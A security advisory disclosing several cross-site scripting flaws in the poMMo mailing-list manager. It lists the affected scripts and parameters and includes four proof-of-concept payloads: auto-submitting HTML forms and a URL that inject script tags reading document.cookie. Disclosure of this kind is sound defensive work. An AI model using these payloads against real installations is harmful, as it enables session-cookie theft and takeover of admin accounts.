Vulnerability ID: HTB22976 Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_pommo.html Product: poMMo Vendor: Brice Burgess ( http://pommo.org/ ) Vulnerable Version: Aardvark PR16.1 Vendor Notification: 26 April 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities exists due to failure in the "admin/setup/config/general.php", "index.php", "admin/subscribers/subscribers_groups.php", "admin/setup/setup_fields.php" scripts to properly sanitize user-supplied input in "site_name", "referer", "group_name" and "field_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. <form action="http://host/admin/setup/config/general.php"; method="post" name="main"> <input type="hidden" name="list_name" value="Mailing List"> <input type="hidden" name="site_name" value='poMMo"><script>alert(document.cookie)</script>'> <input type="hidden" name="site_name" value="poMMo Website"> <input type="hidden" name="site_url" value="http://www.example.com/";> <input type="hidden" name="site_success" value=""> <input type="hidden" name="site_confirm" value=""> <input type="hidden" name="list_confirm" value="on"> <input type="hidden" name="list_exchanger" value="mail"> </form> <script> document.main.submit(); </script> 2. http://host/index.php?referer=1";><script>alert(document.cookie)</script> 3. <form action="http://host/admin/subscribers/subscribers_groups.php"; method="post" name="main"> <input type="hidden" name="group_name value='group"><script>alert("XSS")</script>'> </form> <script> document.main.submit(); </script> 4. <form action="http://host/admin/setup/setup_fields.php"; method="post" name="main"> <input type="hidden" name="field_name" value='1"><script>alert(document.cookie)</script>'> <input type="hidden" name="field_type" value="text"> </form> <script> document.main.submit(); </script>
